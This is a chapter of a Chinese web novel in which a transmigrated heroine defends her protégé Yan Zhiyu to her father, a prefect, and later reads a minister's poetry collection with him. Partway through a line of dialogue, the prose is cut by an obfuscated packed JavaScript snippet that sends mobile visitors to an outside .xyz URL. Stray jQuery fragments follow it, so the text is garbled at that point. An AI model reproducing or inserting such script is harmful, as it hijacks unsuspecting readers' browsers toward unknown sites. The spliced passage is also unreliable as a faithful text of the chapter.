11.十一

作品:《反派是个小可怜

    何徵提早回来,让何妙观有些措手不及。


    何徵并非原书中重要的人物,对原主的态度如何,何妙观并不清楚,这种事情又不能明摆着问,只好从旁人的三言两语中猜测。这些日子,也有个大致的结论,如果说陈寄柔对原主的宠爱有十分,那何徵只多不少。


    两人赶到正堂时,何徵坐在主位同陈寄柔说笑,他虽已五旬,鬓角微染霜色,但眉眼间仍能见年轻时的风姿。


    见何妙观进来,何徵神情柔和,招手道:“囡囡,过来坐这边,让阿父好好瞧瞧。”何妙观有些不好意思地在他身旁坐下,何徵浑浊的双眼细细地端详着她,片刻后打趣道:“阿父回来,不开心呐?怎么绷着一张脸?”


    原本的世界里,“父亲”的存在让何妙观感到痛苦又不解。她想起小时候的家庭旅游时,爸爸把她背在肩上,说,我们家妙观,以后要一直站在高高的地方。又想起周子叙只比自己晚一年出生。想起他们来到自己家里后,爸爸每个月都会给她转一笔不小的数目,但从不会当着周子叙和继母的面和自己亲近,也不会在继母对她冷嘲热讽时站出来说上一句话。


    正常家庭的父亲应该是什么样的?


    何妙观不知道,只是挤出一个微笑,说自己是因为刚刚理藏书阁太累才这样的。


    “理藏书阁?”何徵有些讶异,“囡囡,这些事情交给下人们做就是,你别累到自己。”


    陈寄柔笑道:“文曜,囡囡说那些下人们不通文墨,在分类整理上终究做得不好。所以今日一大早就起来,和小燕郎君一起理。”


    何徵的目光终于落在燕之郁身上。


    他从陈寄柔的来信中得知,自家囡囡又要养年轻郎君。


    虽然陈寄柔在信里有提过这年轻郎君读过书,略通文墨,和之前南风馆的伶人很不一样,但何徵还是唉声叹气好多日。


    他倒是不怕养着的人有什么问题,只是怕自家囡囡声名愈加狼藉。


    想到这里,何徵不由轻叹一声。


    也罢,也罢。


    少年容貌极好,气质清贵,看上去不像寻常寒门子弟。


    “比上次那个好。”何徵点点头。


    何怀初轻咳一声,笑道:“阿父,正是因为燕郎君生得俊秀,小妹对他青眼有加,日日在外头寻欢玩乐。”


    “大郎说的是。”姜氏趁此开始摇头叹气,“但容貌终是皮相,德行才是根本。宝珠前些日子跟燕郎君去玩弹棋,好好的姑娘家,被带着尽学些轻浮把戏,真是不成体统。妾看着心里难受。”


    “哦?”何徵听出两人对燕之郁颇有微词,笑眯眯地逗道,“囡囡不和阿父辩驳一下么?”


    按照原主的性子,此刻何妙观应该撒娇装委屈,再倒打一耙说何怀初总欺负自己,二嫂也老是针对自己。


    但何妙观学不会撒娇。


    想来想去,还是讲道理吧。


    “阿父,我之所以想让燕郎君留在府里,是因为燕郎君很有才华。他今日和我一起整理藏书阁,分门别类,一丝不苟。如果只因为一个人的皮相就轻视他的内在,觉得他一定是金玉其外败絮其中,这样很不公平。”见何怀初嘴唇微动,又要开口刁难,何妙观拿出写议论文的勇气继续道,“阿父,燕郎君还很仰慕杜相,对杜相的诗词歌赋都很熟悉……”


    何徵闻言,眼中闪过一丝兴味:“哦?仰慕杜澹庵?”


    “是,他今日同我还分析时事,鞭辟入里,很有见地,若是阿父能帮他入仕……”话说一半,何妙观忽地怔住。


    何徵是扬州刺史,官位四品,对地位更高的杜澹庵不称其官位,反倒直呼其名,足以见他对杜澹庵并无好感。刚刚一番话,反倒是弄巧成拙,把燕之郁架在火上烤。


    果不其然,何怀初冷笑一声,唇角勾起讥诮的弧度,好整以暇地看着燕之郁。


    何徵问道:“小燕郎君,你既仰慕杜澹庵,不妨说说,仰慕他什么?”


    少年闻言,抬眸回道:“回刺史,郁对杜相不敢称仰慕,只是觉得杜相可惜。”


    何徵挑眉,更有兴趣:“如何可惜?”


    “杜澹庵整顿漕运、改革税制,确是为国为民的好官;但中年专权跋扈,结党营私,又实在令人扼腕。”他轻轻一笑,言语透出轻蔑,“但如今斯人已逝,功过是非,也不过是人们的茶余饭后的谈资而已。”


    何徵捋须笑道:“不错不错,小燕郎君所说,正是本官所想。”说着,身子微微前倾,看上去有点激动,“要说仰慕,本官最仰慕的是如今的中书侍郎徐墨陵。虽说朝中有浅薄之辈骂徐侍郎不择手段,但平定东南匪患、推行钉骨刑、整治贪官恶吏,哪件不是利国利民的好事?小燕郎君,你若感兴趣,不妨去藏书阁取《余烬集》来看看。徐侍郎虽然年纪轻、笔力浅,但他所作的诗词,本官以为不输杜澹庵的《东山词》。”


    这般吹捧太过狂热,少年睫羽轻颤,唇角微抿,笑容显出些无奈。


    “多谢刺史指点,郁定会拜读徐侍郎所作。”


    “甚好,甚好。”何徵颔首。


    何妙观悬在心中的石头终于落下。


    另一边,脸色阴沉的何怀初仍是不死心。


    “阿父,这燕郎君能将朝中局势分析得如此透彻,倒是令怀初感到意外。但怀初只是担心,这般玲珑心思,若用在别处……”


    “是啊公爹!”姜氏忍不住插话,“妾听闻有些寒门学子最擅钻营这些,投人所好。今番见公爹不喜杜澹庵,便说他专权跋扈;明日若是公爹对杜澹庵有所改观,估计又是另一番说辞。”


    他们怎么这样!


    何妙观想起周子叙的样子。每次家里发生争执,周子叙总能通过巧舌如簧,把不占理的事说成占理的,害得她被惩罚。


    “这只是他们的揣测而已,阿父不要相信……”


    “囡囡,阿父明白,阿父明白。”何徵大手一挥,笑眯眯道,“怀初,映素,你们不必多言。小燕郎君这般才华横溢的少年郎,正是何府该结交的俊杰。”


    说罢,还起身亲切地拍拍燕之郁的肩膀,眼中满是赞赏,“从今日起,府中上下要以贵客之礼对待小燕郎君。小燕郎君,你有什么需要尽管开口。”


    “囡囡不愧是我何文曜的闺女,识人之术不输你阿父啊!怀初,你多学学你妹妹,你上次给阿父引荐的那位,什么玩意,害得阿父颜面尽失!”


    何怀初面色难看,只好称是。


    “还有一事。”何徵稍敛容色,沉下语气,“这月月底,杜御史要来何府住上一段时间。虽说我对杜澹庵颇有微词,但这个杜鹤安倒是难得的俊才。年纪轻轻但处事沉稳有度,是朝中少有的少年能臣。”


    “杜、杜鹤安?”


    “是呀,囡囡。此次同他一起来扬州的,还有楚家的小姐。这楚小姐的父亲,可是京中大儒楚琰。”何徵道,“囡囡,虽说阿父知道你对做学问没什么兴趣,但这位楚小姐,你可以多相处相处。”


    ==


    晚膳后,何妙观提上灯笼,想再去一趟藏书阁。


    “何小姐去那做什么?”燕之郁有些好奇。


    “找阿父说的《余烬集》。”


    燕之郁唇角微抽,有些抗拒:“郁此前,从没听过什么徐墨陵,大概此人是徒有虚名吧。”


    何妙观停下脚步,认真道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371579|183480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “燕郎君,不论你对徐侍郎有何感,都请装出仰慕他的样子。你方才也见过,在何府,只有阿父喜欢你,旁人才不会轻慢你。”


    “那都依何小姐所言。”燕之郁温顺地点点头,“郁会尽可能去仰慕这位侍郎的。”


    《余烬集》很薄,收录的诗词总共不过二十首。何妙观站在书架前翻看起目录,心中暗叹,这徐侍郎真是个绝世大懒人。


    目录里,是清一色的《无题》《无题》《无题》。


    何妙观翻到最前面,和杜澹庵冗长的大段文字不同,《余烬集》的自序只有短短三行。


    “陵少时,尝观弈于市井。弈者争劫,观者攘臂,唯一老者枯槐而寐。及冠入台省,始知天下皆枰,众生皆子,老者实乃智者矣。夜值思此,又忆少时槐下梦:醒时枰已烬,弈者俱亡。故名《余烬集》。”


    “景和三年于青烟居。”


    天下皆枰,众生皆子。


    醒时枰已烬,弈者俱亡。


    何妙观有点喜欢这两句话,虽然中二,但睥睨天下、不畏生死的滋味,越品越爽。


    “何小姐觉得他写的怎么样?”燕之郁问。


    “很好。”何妙观如实道,“我觉得比杜相写得还要好。杜相……写得好古板。”


    何妙观做过的文言文阅读里,有一大部分诗人都喜欢那样写序,先是感谢皇恩,又是说一大堆自己的成就,看的人昏昏欲睡。


    燕之郁笑着道:“所以何小姐喜欢这类的?”


    何妙观点点头,又道:“但不得不说,这个徐侍郎,有一点点装。他年纪估计不大吧?”


    原本松懒倚在书架上的燕之郁这时倾过身,好奇道:“‘装’……?这是何意?”


    “这、这是我新学的街头俚语……”何妙观一时语塞,“燕郎君,如果一个人遗世独立、作风不同俗人,就可以说他‘装’。譬如别人写诗有题目,徐侍郎却一直《无题》、《无题》、《无题》,嗯……就是很装。”


    “是郁学问浅薄,今日才知,‘装’还有这个用意。”燕之郁若有所思地点点头,“这样看来,何小姐也是很装的人。”


    何妙观一点也笑不出来。


    ==


    这夜,何妙观草草洗漱后便躺上榻,心情复杂。


    原书里,杜鹤安和燕之郁的初见,是杜鹤安从扬州回到长安以后。


    因为查明扬州凶案,杜鹤安重获圣眷,被提拔回长安任大理寺少卿,少年臣子、春风得意,又结识无数权贵,甚至还获得当今圣上的亲姊姊、长公主李莜的赏识。


    直至太常粮案。


    太常粮案牵扯河东柳氏、博陵崔氏等世家,更涉及北梁宗室的党争,背后势力盘根错节、暗潮涌动。


    杜鹤安和燕之郁首次正面交锋,便是因此。


    君子有所为、有所不为,自幼饱读圣人书的杜鹤安,遵守礼法,办案讲究证据确凿、程序周全,哪里想得到对面是个毫无顾忌的疯子——先斩后奏、罗织罪名、栽赃嫁祸、刑讯构陷样样精通,以至他功败垂成,差点死在牢狱里。是在长公主的帮助下才侥幸逃过一死。


    如今,因为自己的介入,两人在扬州就要见面。


    何妙观不清楚这是好事还是坏事。毕竟原书对燕之郁的早年经历描述很少,不曾说过他是如何越来越极端的,亦无法推测他黑化的原因到底是什么。


    原本何妙观想通过提升好感度,解锁他的早年经历,再对症下药的。


    但好感度却迟迟不变。


    只能期望杜鹤安不会是促使他黑化的一环。


    窗外响起淋淋雨声。倦意袭来,少女闭上眼,坠入梦境。